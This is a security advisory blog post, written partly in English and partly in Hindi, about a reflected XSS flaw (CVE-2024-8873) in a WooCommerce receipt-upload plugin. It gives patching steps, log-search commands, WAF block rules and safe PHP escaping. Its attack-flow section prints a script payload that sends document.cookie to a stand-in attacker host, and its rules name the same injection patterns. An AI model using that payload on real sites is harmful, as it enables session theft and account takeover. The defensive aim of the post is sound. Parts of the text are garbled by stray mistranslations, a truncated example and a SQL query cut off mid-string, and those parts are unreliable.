Urgent: CVE-2024-8873 — Reflected XSS in PeproDev WooCommerce Receipt Uploader (≤ 2.6.9) — What WordPress Owners Must Do Right Now

लेखक: हांगकांग सुरक्षा विशेषज्ञ

तारीख: 2026-02-06

Summary: A reflected Cross-Site Scripting (XSS) vulnerability (CVE‑2024‑8873) impacts the PeproDev WooCommerce Receipt Uploader plugin in versions ≤ 2.6.9. The issue allows unauthenticated attackers to craft a URL that, when visited by a user (including administrators), results in execution of attacker-supplied JavaScript. A patch was released in v2.7.0. If you operate WordPress sites running this plugin, read this whole post — it contains immediate mitigations, WAF rules you can apply now, detection queries and an incident-response checklist suitable for site owners, hosts, and agencies.

त्वरित तथ्य

• Affected plugin: PeproDev WooCommerce Receipt Uploader (WordPress)
• Vulnerable versions: ≤ 2.6.9
• Fixed in: 2.7.0
• कमजोरियों का प्रकार: परावर्तित क्रॉस-साइट स्क्रिप्टिंग (XSS)
• CVE: CVE-2024-8873
• आवश्यक पहुंच: कोई नहीं (अनधिकृत)
• Interaction required: Yes (victim must click a crafted link / visit a malicious page)
• Severity: Medium (CVSS 7.1 reported)
• Date published: February 2026

What is reflected XSS — in plain terms

Reflected XSS occurs when an application takes input from a request (URL query string, form field, or header), does not properly sanitize or escape it, and reflects it back in an HTML response, allowing an attacker to inject JavaScript that the victim’s browser will execute. Unlike stored XSS (payload saved in the server), reflected XSS is delivered via a crafted link — the attacker must trick a victim into clicking it.

For WordPress sites, reflected XSS can be especially problematic because victims might be site administrators or users with elevated privileges. A successful reflected XSS attack can be used to:

• Steal authentication cookies or session tokens (leading to account takeover)
• Perform actions on behalf of the victim (install plugins/themes, change settings)
• Inject malicious JavaScript that redirects users, loads ads, or drops further payloads
• Steal data entered on forms (credit card, contact info) or perform fraudulent actions

Because the vulnerability in question is unauthenticated but requires user interaction, the immediate risk is phishing/social engineering plus automated exploit campaigns that try to lure administrators.

How this particular vulnerability is dangerous for WordPress + WooCommerce sites

• The plugin handles receipt uploads and interfaces with customers; attackers can craft URLs that appear to reference valid store actions. Customers and administrators might be more likely to click links that look relevant to an order or receipt.
• The plugin’s access points are often publicly reachable (frontend pages or AJAX endpoints), increasing the attack surface.
• WooCommerce sites process payments and personal data — successful exploitation can be leveraged to escalate broader attacks (account takeover, data exfiltration, payment manipulation).

Typical attack flow (realistic scenario)

1. Attacker finds the reflected XSS vector (a parameter that is echoed into HTML without proper escaping).
2. The attacker crafts a malicious URL containing a payload such as:

   <script>fetch('https://attacker.example/steal?c='+document.cookie)</script>

   (real payloads are typically obfuscated/encoded)

3. The attacker sends the crafted URL via email, support chat, or posts it where store staff/customers might click (order notifications, support messages, comments).
4. A victim (customer or admin) clicks the link and the injected JavaScript executes in the victim’s browser in the context of the site.
5. The attacker achieves their goal (cookie theft, redirect, CSRF against authenticated APIs).

Proof-of-concept (illustrative only — do not run against third-party sites)

A simple reflected XSS payload (usually blocked by modern filters) looks like:

https://example.com/?param=%3Cscript%3E%3C/script%3E

If the server reflects param unescaped into an HTML body, the browser will execute . Attackers use more stealthy payloads that exfiltrate data to attacker-controlled endpoints.

Immediate actions you must take (prioritized)

1. Update the plugin immediately to version 2.7.0 or later. This is the only complete fix. If you manage many sites, schedule and run updates immediately and verify successful upgrades.
2. यदि आप अभी अपडेट नहीं कर सकते:
   • Apply virtual patching via a Web Application Firewall (WAF) — create rules to block malicious payload patterns and/or requests to the plugin endpoints.
   • Temporarily disable the plugin on high-value sites until the update can be installed.
   • Restrict access to any plugin admin pages (restrict by IP) if the plugin exposes admin-side UI endpoints.
3. Search your site and logs for signs of exploitation (see Detection section below).
4. Harden HTTP headers (CSP, X-XSS-Protection, X-Content-Type-Options) as temporary mitigation.
5. Audit user sessions and active administrators; rotate credentials and invalidate sessions where appropriate.

How to detect attempts or exploitation

Attackers will attempt to inject or deliver payloads that include:

• <script>
• जावास्क्रिप्ट: यूआरआई
• त्रुटि होने पर=, 11. साइट मालिकों के लिए तात्कालिक कदम, onmouseover=
• calls to दस्तावेज़.कुकी, localStorage, या लाना/XMLHttpRequest
• encoded variants: %3Cscript%3E, %3C%2Fscript%3E, आदि।.

Search access logs, WAF logs and application logs for suspicious patterns.

Examples (commands you can run on your server — adapt log path & table prefixes):

# Grep web server access logs for suspicious encoded script tags:
grep -iE "%3Cscript%3E|%3C%2Fscript%3E|%3Cimg%20|%3Csvg%20" /var/log/nginx/access.log*

# Search for "javascript:" and "document.cookie" patterns in logs:
grep -iE "javascript:|document.cookie|onerror=|onload=" /var/log/nginx/access.log*

# Use WP-CLI to search posts/options/meta for inserted script tags:
# Search post_content for script tags
wp db query "SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%

# Block obvious script tags in parameters
SecRule ARGS "(?i)(%3C|<).*script.*(%3E|>)" \
    "id:1009001,phase:2,deny,log,msg:'Potential reflected XSS - script tag in parameter',severity:2"

# Block javascript: and document.cookie patterns
SecRule ARGS "(?i)javascript:|document\.cookie|window\.location|\bon\w+\s*=" \
    "id:1009002,phase:2,deny,log,msg:'Potential reflected XSS - suspicious JS patterns in parameters',severity:2"

# Narrow rule: only trigger for URLs containing the plugin path (example)
SecRule REQUEST_URI "(?i)pepro|receipt-upload|receipt-uploader" "chain,ctl:requestBodyAccess=On"
SecRule ARGS "(?i)(%3C|<).*script" \
    "id:1009003,phase:2,deny,log,msg:'Reflected XSS attempt against receipt uploader plugin'"

location / {
    if ($request_uri ~* "pepro|receipt-upload|receipt-uploader") {
        if ($query_string ~* "(%3C|<).*script" ) {
            return 403;
        }
    }
    ...
}

# Reject common encoded/cleartext script injection attempts if hitting plugin paths
<IfModule mod_rewrite.c>
RewriteCond %{REQUEST_URI} pepro|receipt-upload|receipt-uploader [NC]
RewriteCond %{QUERY_STRING} (%3C|<).*script [NC,OR]
RewriteCond %{QUERY_STRING} javascript: [NC]
RewriteRule ^ - [F]
</IfModule>

# Find posts containing <script>
wp db query "SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%

// Unsafe:
// echo $_GET['message'];

// Safe:
$message = isset($_GET['message']) ? wp_kses_post( wp_unslash( $_GET['message'] ) ) : '';
echo esc_html( $message ); // ensures safe text output

// If the field is intentionally allowed to contain limited HTML, sanitize via:
$allowed = array(
  'a' => array( 'href' => array(), 'title' => array() ),
  'br' => array(),
  'em' => array(),
  'strong' => array(),
);
echo wp_kses( wp_unslash( $_POST['custom_html'] ?? '' ), $allowed );